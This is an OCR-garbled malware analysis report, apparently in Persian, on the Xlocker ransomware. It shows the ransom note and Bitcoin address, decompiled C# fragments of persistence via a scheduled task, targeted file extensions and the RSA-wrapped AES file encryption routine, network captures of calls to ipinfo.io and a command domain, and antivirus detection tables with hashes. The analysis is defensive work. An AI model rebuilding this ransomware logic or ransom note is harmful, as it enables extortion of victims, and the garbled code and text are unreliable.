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@'Ov| ). « Local Disk (C:) » Users » SADEGH » AppData » Roaming » Extension - ‘ +y H Search Extension o

Organize ~ Include in library = Share with = Burn New folder = - _|:| 9

- Favorites Name Date modified Type Size

M Desktop Extension.dat 11/17/201811:24 ..  DAT File 1KB

¢ Downloads B2 Message.exe 11/17/2018 11:24 .. Application 551 KB

<» Recent Places ‘2 Updaterexe 11/17/2018 11:24 .. Application 474 KB
- Libraries

‘.. Documents
4. Music

=1 Pictures

& Videos

& Computer
& Local Disk (C)

» Media (E)

ﬁ; Network
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8 Uninstall l = ﬂ

Sorry! Your files have been encrypted!

What Happened to My Computer?

Your important files are encrypted.
Current Value Many of your documents, photos, videos, databases and other files are no
$1 002 longer accessible because they ha\.'_e been encrypted. Maybe you are busy
looking for a way to recover your files, but do not waste your time. Nobody
can recover your files without our decryption service.

EEVOETNIRWIRSER ETEEG I Can I Recover My Files?

Time Left Sure. We guarantee that you can recover all your files safely and easily. But
you have not so enough time.

00:14 If you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. It will be increase $1 every
minute.

f you don't pay
Your files will be lost!

Time Left

02.23:57:14
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Bitcoin Address Addresses are identifiers which you use to send bitcoins to another person.

Summary Transactions E . E
Address 1NTFUKURM7 0zht3PxNgzKWEeWb2m3aNu2G87 No. Transactions 0
Hash 160 eb659207cb4147d8556e672273facee331901891 Total Received 0BTC

Final Balance 0BTC -
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Request Payment Donation Button
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rdm .rfr.rg Y. rgp .Vz .aaf .accdb .aep .aepx .aet .ai .qif .apk .arch + + .arw .as .as¥.asf .asp
.aspx .asset .asx .avi .bar .bay .bc 7.bcV .big .bik .bkf .bkp .blob .bmp .bsa .cs .csproj .cas .cdr

.cer .cfr .class .config .cop .cr ¥ .crt .crw .cs .css .csv .dYdbsp .das .dazip .db .db - .dba .dbf .dcr

.der .desc .dmp .dng .doc .docb .docm .docx .dot .dotm .dotx .dwg .dxf .dxg .efx .epk .eps .erf
.esm .ff .fla .flv .forge .fos .fpk .fsh .gdb .gho .hkdb .hkx .hplg .html .hvpl .ibank .icxs .idml .iff
.indb .indd .ind! .indt .inx .itdb .itl .itm .iwd .iwi .jar .java .jpe .jpeq .jpg .js .kdb .kdc .kf .layout

Abf litemod .Irf .Itx .IlvI . mY .mru .mYuA .méa .méu .map .max .mcmeta .mdb .mdbackup
.mddata .mdf .mef .menu .mid .mix .mov.mp¥r.mpé .mpa .mpeg .mpg .mpqge .mrw .mrwref
.msg .ncf .nef .nrw .ntl .odb .odc .odm .odp .ods .odt .orf .p )Y .pVb .pVc .pak .pdb .pdd .pdf
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ExtractResources() : void

.SpecialFolder. ), "Extension"};

(text))
(text);
(MemoryStream memoryStream = MemoryStream(Resources .
ZipArchive zipArchive = ZipArchive(memoryStream
P %
(ZipArchiveEntry zipArchiveEntry zipArchive.

Stream stream = zipArchiveEntry.Open();
text3 = (text, zipArchiveEntry g
(FileStream fileStream = FileStream(text3, FileMode. , FileAccess.

stream. o(fileStream);
(zipArchiveEntry. -ToLower().Co

text2 = text3;

(MemoryStream memoryStream2 MemoryStream(Resources.
(ZipArchive zipArchive2 = ZipArchive(memoryStream2))
ZipArchiveEntry zipArchiveEntry2 zipArchive2
y P: V. P

Stream stream2 = zipArchiveEntry2.0pen();
(FileStream fileStream2? = FileStream( (text, zipArchiveEntry2 ), FileMode. , FileAccess

{

stream2.CopyTo(fileStream2);
3

(text2))

process = Process();

process. (text2);

process.
process.
process.

process.Start();
(Exception ex)

=
¥
¥
Timer Timer();
timer. 2000;
timer.
timer.

e LB (6 108 50, Al b (sanlsl g a5 Uil 0 Updater.exe [, Main() @U by p3 U8 anks

D 5sd o sl 3 UpdaterForm() @U

Main() : void

();

UpdaterForm());
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Onload(object, EventArgs) : void

sender, EventArgs e)

Onl_oad() cu Z\ ﬁ)—-.é-:
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F (num > ©.0 & num <= (

creationTime = 4 " (Con¥
e.0)

totalMilliseconds = ( 2 - creationTime).

num - (totalMilliseconds > ©.©
1000 + ( Ynum;

(totalMilliseconds / (¢

totalMilliseconds2 — (creationTime.AddDays(3.0) creationTime) .

num2 — (totalMilliseconds2 > ©.0)
1000 + (int)num2;

result -
(result.

creationTime - . reati ime(C g-
totalMilliseconds 2 - creationTime).
num = ( )C totalMilliseconds % (
totalMilliseconds2

(num)) ;

(Conf

class Config :¥ ,; a5

(totalMilliseconds2 / (

&% totalMilliseconds2

O- s

.SpecialFolder

-SpecialFolder.D s

> “Test™);
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AccountManager X

address =

JObject jobject
flag = (
text

(flag &&

n("Verifi

sl

Con s =

text;

T

result

(Exce
result

result;

AccountManager X

publicIPAddress =

Co s
"&ipAddress=",
publicIPAddress

ut webClientWithTimeout =

[HttpRequestHeader . 1="a

jtoken = (webClientWithTimeout.Do

flag =

Flag /= ((bo&
(flag)

ing)jtoken.

(“"Caught exception:

class AccountManager ¥ .25

oken("Privatek

(text) && text

tWi

WebClientWithTimeout())

1=
t

hTimeout())

(address));

pplication/x-www-form-urle

~ing(address));
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Install() : void

Install() @U N gl

class Queue Y , s25
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Miscellaneous <

Extension
£

ing> list =

C - item
list.Add(item):
cach (string item2
list.add(item2);

1ist;s

webClient. =3
result = webClient

friendlyName —
location — Assemb =
(Tas rvice taskService —

T inition taskDefinition
taskDefinition.R str: on T
taskDefinition. i
TimeTrigger timeTrigger
timeTrigger. tion = D L
taskDefinition. 3 i timeTrigger);

taskDefinition. ons v S A (location, 11, ))s
taskService.| ylder S > Fir (friendlyName, taskDefinition);

sourceFileName =
text = i

(sourceFileName, text);

n)

(text) && -Exists(text))

process 1 ss()s

process.
process.
process.
process.
process.5tar
Pr 5SS

O

(Config.AppL aFolder, "Update
(text) && - i (text))

process = ne r ss()s

process. 2 - (text);
process.
process.
process.
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sac (Pro
e pr.
pr)

process . Kill()s

g path =
= path2 =
(path);

(path2);

- nCmdShow)

class Miscellaneous ¥ , 525

sla b Sl 3 4 by o a5 AL s class Cryptor s class FileHandler « L o 5 (gladS aakad
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FileHandler X
; System;
g System.Collections.Generic;
System.I0;

Extension

sDir, 1 toDecr, List<

(sDir))

; value = 5 -ToLower();
(toDecr)

ns(value) && !strin (value))

(text);

(value))

FileHandler X

fo(text2).
(value2))

(text2, toDecr,

.dotm .dotx

mrwref
.pot .potm
im .rofl . X P2 .rW .sb . s . : .S = . = .sl : .sr2 .srf
I3 .tor .upk .vcf .vdf .vfs@ .vob .vpk . T, 5 .wallet .wav .wb2 .wma .wmo .wmv .wotreplay

3

class FileHandler :\ , 525
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Cryptor X

Extension

length)
-

[] data,

[]1 result;

publicKey)

( y : rsacryptoServiceProvider =

rsacryptoServiceProvider. FromX
result = rsacryptoServiceProvider.Encr

result;

0 [] data,

[] result;

(publicKey);
t(data, true);

privateKey)

rsacryptoServiceProvider =

rsacryptoServiceProvider.
(rsacryptoServiceProvider.

3

result = rsacryptoServiceProvider.

result;

2 inputFilePath,

(privateKey);
)

publicKey)

value), publicKey));

privateKey)

rg(value), privateKey));

string publicKey)

ents required for

» length)

2loy
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result;

nfo(inputFilePath). > 100000000L )

i aesManaged =

e[] array = ne e[aesManaged. / 81;
[1 array2 = [aesManaged. / 81;
g (RNGCryptoSe P ider rngcryptoServiceProvider =

rngcryptoServiceProvider. G yt array);
rngcryptoServiceProvider.G Y array2);

[] array3 = ne >[array. + array2.
(array, array3, array. )5
(array2, 0, array3, array. , array2.
(array3, publicKey);
4 (array3. s
m cryptoTransform = aesManaged.Cre yptor(array, array2))

5 (FileStream fileStream = new FileStream(inputFilePath, FileMode. ))
(FileStream fileStream2 = FileStream(inputFilePath + C EncryptedFileSuffix, FileMode. ))
(CryptoStream cryptoStream = ne yptoStream(fileStream2, cryptoTransform, CryptoStreamMode. ))
fileStream2.Write(bytes, @, bytes.

fileStream2 (array3, 0, array3. )5
fileStream.CopyTo(cryptoStream);

result;

o inputFilePath, s privateKey)

1 result;
result;

if (!inputFilePath.End
{

result = f

g (AesManaged aesManaged =
g (FileStream fileStream = FileStream(inputFilePath, FileMode. ))

[1 array te[4];
fileStream.F array, 0, array. 5
array = [ 5 (array, 0)];
fileStream.Read(array, 0, array. );
array = 5 ) (array, privateKey);

[1 array2 = e[aesManaged. / 81;

te[] array3 = byte[aesManaged. / 81;
e (array, array2, array2. )5
(array, array2. , array3, 0, array3. N5
ptc sform cryptoTransform = aesManaged.CreateDecryptor(array2, array3))

(FileStream fileStream2 = new FileStream(inputFilePath.Remove(inputFilePath.
1cryptedFileSuffix. ), FileMode.Create))

ream cryptoStream e eam(fileStream2, cryptoTransform, CryptoStreamMode.

fileStream.CopyTo(cryptoStream);

¥
5 te(inputFilePath);
result = 2
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Messagee X

e Extension
{

Info currentCulture = T d. . 5
<Lang>(this.Languages > X. == currentCulture. -Tolower()) == -1)

num = Array.
(num == -1)

(this.la 55 (L

= ((num > -1) 2 num

(CSharpBinderFlags.

0 = CallSite<Func<

(CSharpArgument InfoFlags.

Thread
hread.

Tick( sender, EventArgs

? riseTime = Config. 5
(riseTime == null)

riseTime =

"$" + Cor
= riseTime.

Click(object sender, Event

0))
("Thanks for payment. Please wait for decryption. Don't turn off your computer.”);

03

(“Try again later.");




=le Ublg glis g eulbliyl eyljg ‘

whplele Ublg 5 gUs ¢ lojLu

<html xmlns=""
<head>
<titlesHelp</title
<style>
html, body {
font-family Tahoma, Geneva, Verdana, sans-

</style>
</head>
<body oncontextmen turn false;
¢p><strongohihat Happened to My Computer?</strong></p><p>Your important files are encrypted.<br />Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to over your files, but do not wi your time. Nobody can recover your files without our
decryption service.</p><p><strong>Can I Recover My Filesd</strong></p><p>Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough
time.<br />If you want to decrypt all your files, you need to pay.<br />You only have 3 days to submit the payment. It will be increase $1 every minute.<br />Also, if you don't
pay in 3 days, you won't be able to recover your files forever.</p><p><strong>How Do I Pay2</strong></p><p>Payment is accepted in Bitcoin only.<br />Please check the current
price of Bitcoin and buy some bitcoins.<br />And send the correct amount to the addre: ecified in this window.<br />After your payment, enter your transaction id and click
&l1t;Check Payment&gt;. Best time to check: 9:00am - 11:0@am GMT from Monday to Friday.<br />Once the payment is checked, you can start decrypting your files immediately.</
p><p><strong>Contact</strong></p><p>If you need our assistance, send a tweet that containing #xlockr hastag.</p><p>We strongly recommend you to not remove this software, and
disable your anti-virus for a while, until you pay and the payment gets processed. I your anti-virus gets updated and removes this software automatically, it will not be able
to recover your files even if you pay!</p>
</body>
</html>
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Extension.exe

. @Ugdater.exe
° DMessage.exe

S Kl ko

)JJ_LS))JML:WLLSJ‘ 6)\}f4.;).>l3X|ocker)\felCL, &».3" &Jucﬁbw OJL«.Z“\S)}EM

Aol e e LB SIS ey 0 536 (s 55 Ole b

W [tcp.stream eq 1 B -] Bpression...  +
No. Time Source Destination Protocol Length Info .
| 4612.550193  192.168.1.35 216.239.34.21 P 66 49205 » 88 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1

47 12.569927 216.239.34.21 192.168.1.35 Tce 66 80 + 49205 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1484 SACK_PERM=1 WS=256

48 12.570114 192.168.1.35 216.239.34.21 Tce 54 49205 » 80 [ACK] Seq=1 Ack=1 Win=65792 Len=0

49 12.570509 192.168.1.35 216.239.34.21 HTTP 133 GET /ip HTTP/1.1

5@ 12.645475 216.239.34.21 192.168.1.35 Tce 60 80 » 49205 [ACK] Seq=1 Ack=80 Win=29440 Len=0

51 12.645476 216.239.34.21 192.168.1.35 HTTP 337 HTTP/1.1 200 OK (text/html) L

54 12.817453 192.168.1.35 216.239.34.21 TP 66 49205 » 80 [ACK] Seq=80 Ack=284 Win=65536 Len=@ SLE=1 SRE=284

123 22.870777 216.239.34.21 HTTP 109 GET /ip HTTP/1.1

124 22.893115 192.168.1.35 HTTP 337 HTTP/1.1 200 OK (text/html)

127 23.103577 216.239.34.21 Tce 54 49205 » 80 [ACK] Seq=135 Ack=567 Win=65280 Len=0

128 32.946636 216.239.34.21 HTTP 109 GET /ip HTTP/1.1

129 33.023007 192.168.1.35 NTTP 337 HTTP/1.1 200 OK (text/html)

132 33.241745 216.239.34.21 54 49205 + 80 [ACK] Seq=190 Ack=850 Win=65024 Len=0

136 43.135504 192.168 5 216.239.34.21 HTTP 109 GET /ip HTTP/1.1

137 43.263270 216. 239 34.21 192.168.1.35 HTTP 337 HTTP/1.1 200 OK (text/html)
|| 14243.45037  216.239.34.21 _192.168.1.35 _____TCP____ 337 [TCP Retransmission] 80 + 49205 [PSH, ACK] Seq:850 Ack=245 Win=20840 len-283 ]

143 43.454308 192.168.1.35 216.239.34.21 e 66 49205 + 80 [ACK] Seq=245 Ack=1133 Win=64768 Len=0 SLE=850 SRE=1133

156 53.376790 192.168.1.35 216.239.34.21 HTTP 109 GET /ip HTTP/1.1

157 53.398326 216.239.34.21 192.168.1.35 HTTP 337 HTTP/1.1 200 OK (text/html)

159 53.610560 192.168.1.35 216.239.34.21 Tce 54 49205 + 80 [ACK] Seq=300 Ack=1416 Win=65792 Len=0

168 63.635722 192.168.1.35 216.239.34.21 HTTP 109 GET /ip HTTP/1.1

169 63.744288 216.239.34.21 192.168.1.35 HTTP 337 HTTP/1.1 200 OK (text/html)

171 63.947890 192.168.1.35 216.239.34.21 TP 54 49205 » 80 [ACK] Seq=355 Ack=1699 Win=65536 Len=0

187 74.817615 192.168.1.35 216.239.34.21 HTTP 109 GET /ip HTTP/1.1

188 74.985555 216.239.34.21 192.168.1.35 HTTP 337 HTTP/1.1 200 OK (text/html) v

Frame 46: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @ -

Ethernet IT, Src: Vimare_63:96:84 (00:0c:29:63:96:84), Dst: ZyxelCom 99:36:cc (58:8b:f3:99:36:cc) E

Internet Protocol Version 4, Src: 192.168.1.35, Dst: 216.239.34.21

Transmission Control Protocol, Src Port: 49205, Dst Port: 80, Sea: 0, Len. ()
58 8b 3 99 36 cc 00 Oc 29 63 96 84 08 00 45 00  X...6... )C
00 34 03 4c 40 00 80 06 00 00 c0 a8 01 23 d8 ef  .4.l@... ..
2215 0 35 60 50 80 43 94 fb 60 00 00 00 80 62 "..5.P.C ..
20 60 bc f6 00 00 02 64 05 ba 01 03 03 08 01 01

01 02
VUTFANEYY ol by e Sl 50y
A *Local Area Connection -
mae X € Q @ = :Qaqf
‘l‘udp.srream eq 13
No. Time Source Destination Protocol Length Info
I 125 22.895230 192.168.1.35 192.168.1.1 DNS 80 Standard query @xddb8 A app.remaxgllebal.com
126 22.956371 192.168.1.1 192.168.1.35 DNS 80 Standard query response 0xddb8 Server failure A app.remaxgllobal.com
‘ Wireshark - Follow UDP Stream (udp.stream eq 13) - wireshark_93DF4962-A00B-49BE-AEC7-7C8E38E582B1_20181118133753 a02832 =
............. app-remaxgllobal _com..................app.remaxgllobal.com..... ‘

VYA ool 0 by e S5 Y e

Y.
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=le Ublg glis g eulbliyl eyljg ‘ —

whplele Ublg 5 gUs ¢ lojLu

Lols s LST uw‘)JT )j'“':‘"s
ipinfo.io YATLYFAXEY) S ol sdee YL

app.remaxgllobal.com 1AYANTAN D S sl sdseze YL

¥ ApateDNS lla= 52 |

Capture Window | DNS Hex View

Time Domain Requested DNS Retumed =
13:30:52 d.pki goog FOUND
13:30:52 crl.pki goog FOUND
13:30:57 ocsp pki.goog FOUND
13:30:57 ocsp pki.goog FOUND
13:30:59 erl pki.goog FOUND
13.30.59 ool goog EQUND
13:31:17 ipinfo io FOUND o
13:31:38 app remaxgllobal.com FOUND I
13:33:42 ipirfo io FOUND
13:34:03 app remaxgliobal.com FOUND

+] using 8.8.8.8 as return DNS IP!

+] DNS set to 127.€.€.1 on Intel(R) PRO/1@@e MT Network Connection.
+] Sending valid OnNS response of first request.

+] Server started at 13:38:16 successfully.

NS Reply IP : /DN
DNS Reply IP (Default: Current Gatway/DNS):  8.8.8.8 [ F— l

# of NXDOMAIN's [+]

Selected Interface [Intel(R) PRO./1000 MT Nstwork Connection - ‘ R o

e http://ipinfo.io/ip

el 03 S 13 bl ng,\;\Cpsgpﬂw

LS’.LSTJ”)JT Q)ﬁo)l».& )}J«SCL

YITITAYE Y A Sl ouonte |

TCD

CM»‘eMW&Gﬂ)ﬂju)bwg@\;wbnyng

A Sireshark - Follow TER Strearm (top.stream ea 1) - wireshark_ S22 DF4862 - A00B-48BE-AEC7 - 7CBEIBESSZEB1 20181

GET H9p HTTPA1 .1

Umer - Agent s curl
Host: Spinfo.i
Ceanmmnec Ao s Keaps Al b6 we

HTTRPA1 1 200 Ok

Cate: Sun, 18 Mow 2018 10:0G8: 06 GMT
Comntent-Twpe: text s html: charscet—utf-8

Content—Lemngth: 2a

HoPowered By : Express

xocloud-—trace-—context: Ffdo7dde 289eobffCA9SCc 3 fFfadeaf7 7o f /ACO791I1GS81@A228135 10—
Access —Control —ALLow—Cragan s

Wia: A_1 meomle

S.ZIZ.ABI . ALAS

GET #/ip HTTP/A1 .1

User-—Agent: <url

Ho=t: apinfo.ico

HTTIP 1.1 200 O

Dot e = Saarw A Pl Zeas AED @R A GMT

Comtont —Teape: toxt  html: chorset—otf -8

Content-Lensth:

X oPoweredd - By o Expres s

= Lo — e — cortest : FABFAdde PO e O b FFGADS e AFFAAmaF FFOF /FAGSSFILIGSELGAZT IR LIS - oD
Arccess -—Controel -—-Allow-—Ordisin: +-

A = - B Eoos Le

S.Z32.aA83._.a41c
GET /ip HTTP/1 .3

User -—Agent s cued
Flesm e = G drFes _ e

HT TR A1 .1 2o oK

Date: Sun, 18 Mow 2018 16:08: 26 GMT

Content-Type: text s html: charset—utf-=

Content - Length s a

Pt e Bine T E e =

x—cloud-Ttrace-—context: fdordde8sedbffoadfc3Iffadeaf 7 7o f /1627211658 1aAZ2EL3IS ;io—0
Access Control —Allow e igim: ™+

A AL oo e

[Entira convarsation (1376 bytas) -1 Shows and sawe dota o= [AasScx -1

Fin

TATIYANETY ool @ by Sledbl 51 ise ) s

T


https://www.hybrid-analysis.com/search?query=port%3A80
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216.239.34.21 |IP Address Information

ISP

Usage Type
Hostname
Domain Name

Country B=

City

Google LLC

google.com

any-in-2215.1e100.net

Mountain View, California

Data Center/Web Hosting/Transit

REPORT 216.239.34.21 VIEW ABUSE REPORTS

CAT-QuickHeal

KZAntiVirus

Qihoo-360

Sophos AV

Symantec

TrendMicro

Yandex

any-in-2215.1e100.net

AR AL f 30 A ISP CPRCIVPY JUN, SO

: VirusTotal <bLle >4 &

: Xlocker i34 Juol b 4 by -

VirusTotal Glolw 55 55> g0 Sl5lan 51 5 ey s 51V 515550 ¥4 sli Ssl> Jl> o

S ga b e b Bl 1 0Ty e L1531 2l cpl plelid 4 56

Trojan.GenerickKD.31189633
Trojan.Ransom.Filecoder
Win32:Malware-gen
TR/Ransom.ndyuc
TrojanRansom.Agent
W3Z2/Trojan.DWVP-9285
Trojan.GenerickD.31189633
Trojan.GenerickD.31189634
Trojan.GenerickD.31189633
Trojan { 0053c9581 )
Trojan-Ransom.MS|LAgent.fqnw
malware (ai score=100)
RDN/Ransom
Trojan.win32.Ransom fifedt
Win32/Trojan.Ransom.b44
Mal/Generic-5

Trojan Horse
Ransom_Agent.RO02CO0GU1E
Trojan.Agent!uZHBTadmvSA

Trojan-Ransom.M5IL.Agent.fqnw

- - - -

YY

Arcabit
AVG
BitDefender

CrowdStrike Falcon

K7IGW

Malwarebytes

McAfee

Rising
Sophos ML

Tencent

TrendMicro-HouseCall

Zillya

AhnLabv3

-0 - - -

Trojan.win32.Genericjic
Trojan.Generic.D1DBEAS1
Win32:Malware-gen
Trojan.GenerickD.31189633
malicious_confidence_70% (W)
Trojan.GenerickKD.31189633 (B)
a variant of Generik. BFKYVBX
W32/Agentitr
Trojan.SuspectCRC

Trojan { 0053c9581 )
Trojan.FileCryptor

RDN/Ransom
Trojan:win32/Occamy.C
Trj/GdSda.A
Ransom.Agent!8.6E7 (CLOUD)
heuristic

Msil.Trojan.Agent.Geca
Ransom_Agent.RO02C00GU1E
Trojan.GenerickD.Win32.133011

Clean

2loy
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&

: Updater.exe L 4 by 0 -Y

VirusTotal Glole 55 55 > g0 Jl53lan 5T 5wy s 51V 515,50 ¥ sli b= Jl> o

Ad-Aware
Arcabit
AVG
CAT-QuickHeal
Cyren

eScan
GData
K7AntiVirus
Kaspersky
McAfee
Microsoft
Qihoo-360
Symantec
TrendMicro
Yandex

ZoneAlarm

S a b e b Bl 1 0Ty e L1512l cpl plelid 4 56

Trojan.GenerickD.31189634
Trojan.Generic. D1DBEAS2
Win32:Malware-gen
Trojan.IGENERIC
W32/Trojan.LZJO-2678
Trojan.GenerickD.31189634
Trojan.GenerickD.31189634
Riskware (0040eff71 )
Trojan-Ransom.MSIL Agent.fqnw
RDN/Generic.grp
Trojan:Win32/0Occamy.B
Win32/Trojan.Ransom.72c
Trojan Horse
Ransom_XLOCKR.THIOGAH

Trojan.Agent!BAKVx8hKZEY

-0 - - -

Trojan-Ransom.MSIL.Agent.fgnw

Aegisl ab

Avast

BitDefender
CrowdStrike Falcon
Emsisoft

F-Secure

Ikarus

KIGwW
Malwarebytes
McAfee-GW-Edition
Panda

Sophos AV

Tencent
TrendMicro-HouseCall
Zillya

AhnLab-v3

-0 - - -

Trojan.MSIL Agentjic
Win32:Malware-gen
Trojan.GenerickKD.31189634
malicious_confidence_90% (W)
Trojan.FileCoder (A)
Trojan.GenerickKD.31189634
Trojan.Win32.0ccamy

Riskware ( 0040eff71)
Trojan.FileCryptor
RDN/Generic.grp

Trj/Gdsda.A

Mal/Generic-S

Msil. Trojan.Agent.Wopz
Ransom_XLOCKR.THIOGAH
Trojan.GenericKD.Win32.184966

Clean

: Message.exe LU 4 by -¥

VirusTotal wlelw ;5 55> go 555000 5T 5 ey s 01 TV 515,50 TV sl jul= Jl> o

AlLYac
Arcabit
AVG
BitDefender

CrowdStrike Falcon

Cyren

F-Secure

GData

Kaspersky

MAX
McAfee-Gw-Edition
Panda

Rising

Sophos ML

Tencent
TrendMicro-HouseCall

ZoneAlarm

S a b b b Bl 1 0T 035 L1532l opl alelid 4 56

Trojan.GenerickKD.31128755
Trojan.Ransom.Filecoder
Trojan.Generic.01 DAFCB3
Win32:Malware-gen
Trojan.GenericKD.31128755
malicious_confidence_90% (D)
W32/Trojan.EZKR-6245
Trojan.GenerickKD.31128755
Trojan.GenericKD.31128755
Trojan.GenericKD.31128755
HEUR:Trojan-Ransom.Win32.Agent.gen
malware (3i score=100)
RDN/Generic.RP

Trj/GdSda.A
Ransom.Agent!8.687 (CLOUD)
heuristic
Win32.Trojan.Agent.Akym
Ransom_RAMSIL.SM

HEUR:Trojan-Ransom.wWin32.Agent.gen

2N -

Yy

Aegisl ab
Antiy-AVL
Avast

Avira
CAT-QuickHeal
Cylance
Emsisoft
ESET-NOD32
Fortinet
Ikarus
Malwarebytes
McAfee
Microsoft
Qihoo-360
Sophos AV
Symantec
TrendMicro
webroot

AhnLab-Vv3

- -

Troj.Ransom.wW32.Agent!c
Trojan[Ransom]/Win32.Agent
Win32:Malware-gen
TR/Ransom.ayzfu
Trojan.GEMERIC

Unsafe
Trojan.GenerickKD.31128755 (B)
a variant of Generik HPQUAS
W32/Agent.SMitr
Trojan.SuspectCRC
Ransom.Xlocker
RDN/Generic.RP
Trojan:win32/0Occamy.C
Win32/Trojan.Ransom.b44
Mal/Generic-S

Trojan Horse
Ransom_RAMSIL.SM

W32 Trojan.GenKD

Clean



=le Ublg glis g eulbliyl eyljg

2loy

&

whplele Ublg 5 gUs ¢ lojLu

Dol S e g8 g pg Able oy

: Xlocker ,i5l-4 ol LU & bg e -

oIS @ﬁbbbﬂ)aaﬁy}‘ﬁ‘.& LSI'.’TJU"')Jl) UJ.J\\ J‘ JJJ.A-\JU;SJ&B- dl:-)J

S e dled e L S Ols o35 Ol CLg gl slebd 4 o6 IS

3660872

TFIS 2l 417

el e
.bin.02dca0238a7a30761682e7e97ab0e76b

s

aalS A o als moes

e AV o UT

TV 1Tl als

03dcal38a7a307e61 68Ze7ed7able6b :MDS

ed45c841654aedf3e] 6203835f022f0b8cO5d356 SHAT

36b08T250ced930cd48e5ecadeeTiO 5742285091 ZeefS2deaad ] 7e45d5553d2cd :SHARZS6

T N I N N o

Dangerous
Clean

Dangerous

VRS S Gamenik B i trojan
clean

Dangerous

clean

Dangerous
Trogan Horse

Slean

Slean

Dangerous

drweb

bitdefender

: Updater.exe LU 4 by e Y

s s Sl 53 353 se SIS 5 sy B0 Slase b sl sl Jl o

S o Jlad e b Gl 1y 0l 5 05 90 155 zb ol elobis 4 36 s

Homnest_d1afbbebb8c29d49b2becibSel1cec2d786dc3 35b619

ailpleS FYE

als
1102 bin.6a377062c7e830e93535b5aa88f%ecdb

G

Tls s

T S IRV LT TVt Kl Sl

6a377062c7e830e93535b5aa88f0ec4s :MDS

de880cec24bYaldaaa9bbc55b07belceladceycc :SHA1

dlafbbebb8c29d49b2bec] b5e01cec2d786dc36edel52c35b671978fe3docal 102 :SHA256

I W =

oy anl gt

Clean

Clean

Clean

Clean

Dangerous

Dangerous
Trojen Horse

Dangerous

Clean

Dangerous

Clean

Clean

I
d

eser

avast

symantec

bitdefender

sophos

kaspersky

comodo

—
-
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: Message.exe LU 4 by -V

s o el 53 35 se SIS 5 ey D10 Slase 0 sl ol Jl o

S o b e b S 1 0T e L1531 2Ll plalid 4 5 418

Honest_Sample_Sb8d00e1c7913877ad7b9c89 bin.e0fafe7d0dd21 550bf7150ffbdeddeda s ol

CaaliglS H61 1 Jols pos

Te S I LT PV Tl Seayls

e0f4fe7d0dd21 550071 50ffbdedde3a :MDS

db32a72540bbcdb342698d2a663d9a2a7d65%e23 (SHAT

‘B0600a4452aad102bbdb0555ff7ab338e50407b23f6087249d09624107118af8 :SHA256

N N s

eyl alss

clean
Clean
Dangerous
Clean
Clean
Dangerous

Clean

Dangerous:
a vanant of Generk HPOUAS trojan
Dangerous

Clean

Trofen Horse

{

oz T

clamav

feecure

avast

Yo

>



